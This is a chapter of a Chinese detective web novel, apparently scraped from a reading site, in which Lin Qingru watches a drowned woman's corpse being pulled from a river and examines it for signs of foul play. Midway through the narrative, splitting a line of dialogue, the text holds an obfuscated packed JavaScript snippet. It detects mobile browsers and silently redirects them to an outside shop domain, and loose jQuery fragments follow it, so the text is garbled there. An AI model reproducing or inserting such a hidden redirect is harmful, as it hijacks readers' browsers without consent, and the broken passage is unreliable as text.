35. 女尸
    林清如一听河上有死漂,眉头一拧,忙推开人群行至河边探查。

    河边青石板路与河上隔着不高不矮的台阶,人群之中一眼望去,河上漂浮着艳红丝绸,是桃红色的轻薄丝缎模样,模糊可见桃红其下惨然的森白和水草般纠缠的乌黑,鼓鼓囊囊,在水波漂浮下隐隐约约可见人形轮廓,随着河流缓缓飘荡。

    林清如一眼便察觉到不对劲,忙捂住小莹的眼睛。她欲上前查看,又碍于容朔在此漏了身份。于是笑着对容朔说道:“劳烦容公子,帮我将小莹送至雪茶身边。”

    林清如将小莹的小手放至容朔宽阔的掌心,小莹十分顺从地模样,打量容朔的眼神中微微露出几分好奇又疑惑的神色来。

    容朔看着林清如,微一挑眉:“那林姑娘呢。”

    林清如局促一笑,“我想看看热闹。”

    容朔眸色深沉,颇有玩味之意,“哦,原来姑娘也喜欢看热闹。”

    林清如看着二人在早集上渐行渐远的身影,这才松下一口气来,问到旁边看热闹的行人:“报官了没有?”

    她望着河堤两边观望之人越来越多,皱着眉头说道:“撩浅的人呢,为何不先把人捞上来再说?”

    行人被他这般急切又关心地语气吓了一跳,神色古怪地看了她一眼,“关你何事?”

    林清如对他这般嗤之以鼻并不加理会,只看着河上那抹艳红飘飘荡荡随波逐流,有深深浅浅的红色从中逐渐晕染开来,晃荡在幽深碧波之上,一时间竟分不清是衣物染料还是鲜血淋漓,只露出十分刺目颜色。

    林清如这才发现疏浚夫就站在河岸不远之处,他穿着茅草编成的马甲,露出黝黑的膀子,腰间系着一根大红腰带,打着补丁的麻布裤子被高高卷起,露出一双沾满污泥的脚。

    疏浚夫手拿着一根长长的发黄竹竿,引颈望着河上摇摇晃晃的动静。在左顾右盼之后终于忍不住,拿着手中的竹竿,远远地戳了一下河中的艳红之物。

    “妈呀!软的!”

    这一戳不要紧,那抹艳红在河中沉浮之下失去平衡,“咕嘟”一声,竟翻了个面。

    一具仰面女尸赫然出现在大家眼前。一张面目全非的惨白面容突然浮现在河面之上,森然脸上肿胀得早已看不清面容,夹在在杂草一般的头发之间,在波光粼粼的水面上起起伏伏,被阳光折射出诡异的表情。

    围观众人被这极具冲击力的一幕狠狠吓了一跳,纷纷发出哗然之声,不由得退后两步。

    林清如叫那疏浚夫,“你先将人捞上来。”

    那疏浚夫虽常在河边打捞杂物,疏通河道,却也难得见到这种骇人场面,嘴中念念有词:“妈的!今日出门忘了拜祖师爷!百无禁忌,百无禁忌。”

    说着,他紧了紧腰间的红绸腰带,伸出竹竿一头去挑那河中女尸。

    只是那竹竿细长,吃不上力,疏浚夫挑了好几次,眼见着竹竿都被压弯了一头,也动不得分毫。反而将女尸身上覆着的桃红轻纱挑破,丝丝缕缕地挂在竹竿上。

    林清如见状不妙,只怕如此下去会破坏尸体,一把握住了细长竹竿,阻止了疏浚夫。

    “不然还是下去将人捞上来吧。”还未等疏浚夫拒绝,她从袖中摸出一锭银子来放在疏浚夫手中,“红包利事,百无禁忌。”

    疏浚夫诧异地看了她一眼,不想一个小小女子,竟是个懂行当规矩的。当下也不再拒绝,爽快地收了银子,再次将腰间的红带子扎得紧了一些,大喝了一声给自己壮胆,

    “姑娘你莫怪!捞你还清白!”

    他置办好行头,光脚踩着河边石阶,一步一步踏入冰冷的河水之中。时辰尚早,清晨的阳光并不带温暖之意,疏浚夫身体沁入河水之中,不知是否是他错觉,这洛淮河水比往常更加刺骨冷冽。

    疏浚夫无端在水中打了个哆嗦,牙齿也抑制不住地磕巴颤抖。越是接近女尸,彻骨寒意就愈发明显。

    他壮着胆子游向女尸,冰凉的河水浸到胸口的位置,无端有难以喘息的窒息感觉。疏浚夫索性不去看女尸恐怖肿胀的面庞,眼睛一闭心一横,从腰间掏出墨绳捆住女尸腰身,反身便往河岸拉去。

    在捆住女尸之时,粗糙双手无意间触碰到女尸浮肿的皮肤,柔软得像是一包水般,摸不到半点骨头的痕迹。他心跳霎时停了半拍,于是呸了一声,直骂晦气给自己壮胆。

    疏浚夫不想女尸如此沉重,被流淌河水一阻,更是寸步难行。忽然,他只觉腿下一紧,已然动弹不得。

    围观者在岸上目不转睛地看着疏浚夫的一举一动,似乎心都被吊到了嗓子眼,眼也不眨,生怕错过了半分动静。

    忽而此时,疏浚夫的脸上突然露出痛苦之色,在河中剧烈抽动起来,溅起一阵水花。身后拴着的女尸也跟着动静上下沉浮起来,在河中露出忽闪的艳红之色。

    人群被此情景吓得连连退后,

    “尸体活过来了?”

    “这是厉鬼索命啊。”

    “这尸体碰不得!碰不得!”

    林清如见状眼神一凛,情急之下忙从岸上捡起疏浚夫的细长竹竿,递至疏浚夫面前。

    疏浚夫痛苦挣扎之下,一把扶住竹竿。林清如不想他挣扎力气这般大,一时不防脚下不稳,一个趔趄朝前栽去,差点一头栽入河中,堪堪在河堤边上停下。

    众人直呼惊险,

    “这是水中冤魂在找替死鬼啊!”

    “快放下竹竿!别被水鬼拉了去!”

    “水鬼索命!只怕是怨气冲天啊!”

    林清如恍若未闻,退后两步,将疏浚夫拉至岸边。

    女尸真容,这才得以浮现在大家面前,静静地躺在河岸的青石地板上。

    林清如蹲在地上凑近细看,不比前几次昏暗无光,现下倒是日头正好,女尸身上痕迹清晰可见。

    众人好奇地探着脑袋张望,却不敢上前查看。见林清如动作,不由得面面相觑,眼中露出惊异之色,这姑娘行事果决,胆子也大,竟然凑近女尸细看

    于是有好奇者小心翼翼地挪动脚下碎步,左顾右盼四下动静,夹杂着低声探寻之语,

    “撩浅的!你刚刚是不是被水鬼缠上了?”

    疏浚夫呸了一声,粗着嗓子说道:“什么水鬼?晦气!我那是脚底抽筋!”

    嘴上这般硬气,但他脸上仍露出些古怪神色,心里毛毛的有些发憷。毕竟是干了一回死人行当,又遇上这种事,如何能不联想到一起。

    围观者也是一样,直说道:“别装了!你天天在这

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13426400|138250||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    水里游河里去的,几时抽过筋?怎得偏就今天抽了筋?”

    “依我看,你纵是抽筋,也是这河里水鬼使的坏。”

    见他们越说越上头,疏浚夫气急败坏地说道,“放屁!什么都敢挂嘴上说?信不信水鬼今晚就找你去?”

    一番争执打闹之下,众人紧张情绪才稍见缓和,大着胆子看仰面躺着的女尸。

    女尸浑身水淋淋的,黑色的发丝一缕一缕扒在她浮肿的青白脸上,看不出原来的模样。

    被水泡的发胀的身上布满了落叶和水草,一身桃红轻纱原是极其娇俏的颜色,却在其半透明的纱罗下隐约可见其下肿胀而森白的皮肤。

    绯红色小衣上绣着鸳鸯交颈的纹样,和苍白皮肤上的露出点点浅淡尸斑是一样的颜色。

    众人不由得七嘴八舌议论起来,

    “这是谁家的姑娘?死得这样惨?”

    “这样子,像是投河自尽的啊?人都泡肿了。”

    “投河?莫不是为情所困?女儿家向来如此的。”

    围观者的讨论愈发荒谬大胆,一时间众说纷纭,什么说法都纷杂传开来。

    林清如极其厌恶这些乱嚼的舌根,事情尚无定论,便先给人安上一桩香艳轶闻。无外乎是为情所困、情网纠缠亦或是争锋吃醋种种,不过是为了夺人眼球罢了。

    围观者眼中,这不是逝去的鲜活生命,而是他们茶余饭后故弄玄虚的谈资,是同行相处声色并茂的阔论。

    至于可怜的死者,她真正的故事并不重要。

    林清如皱着眉头回头斥道:“胡说些什么?若是闲着,便去禀报官府!”

    好端端地竟被女子斥责,围观者瞪起了眼睛,“嘿!小小女子口气还不小!你算老几啊支使我们?”

    林清如有些不耐,拧过头去不再看他们,将腰间令牌扯下反手对着他们,随后再次探查起女尸痕迹来。

    “你怎么……你怎么有衙门的牌子?”

    “你还看不出来啊,这位姑娘恐怕就是衙门的人。”

    围观者挠着头,“她既然是衙门的人,为何还要我们禀报衙门?”

    林清如无奈地叹了一口气,只认真查看女尸身上种种。

    女尸身上并无明显外伤的痕迹,淡红的尸斑密密麻麻布满惨白的尸身,想来早已去世多时。只是不知是否是在水中泡着的原因,正直夏日,女尸身上却并无半分腐烂痕迹。

    桃红轻纱遮掩之下,林清如忽见女尸脖颈有一圈淡色勒痕,似指状环绕交叠。

    林清如一皱眉,这似乎是脖子被掐过的痕迹?只是这痕迹并不深,倒是有些疑惑之处。

    她看向女尸的手,一只翡翠镯子环在腕上,勒进肿胀的皮肤之中,露出红白相间的肉。

    浮肿的手指已然看不出原有的形状,指尖染着鲜艳的蔻丹之色,却露出些斑驳脱落的痕迹。指腹干干净净,只是被水泡得褶皱横生,凹凸膨胀。

    揭开轻纱遮掩,女尸胸前竟有一大片牡丹花箔,若隐若现,横亘苍白皮肤之上,点点尸斑映衬其上,像是花箔开出的诡异之花。

    林清如皱着眉头看那花箔,“这……是什么?”

    人群中有人发出惊咦之声,

    “咦!这花箔不是……”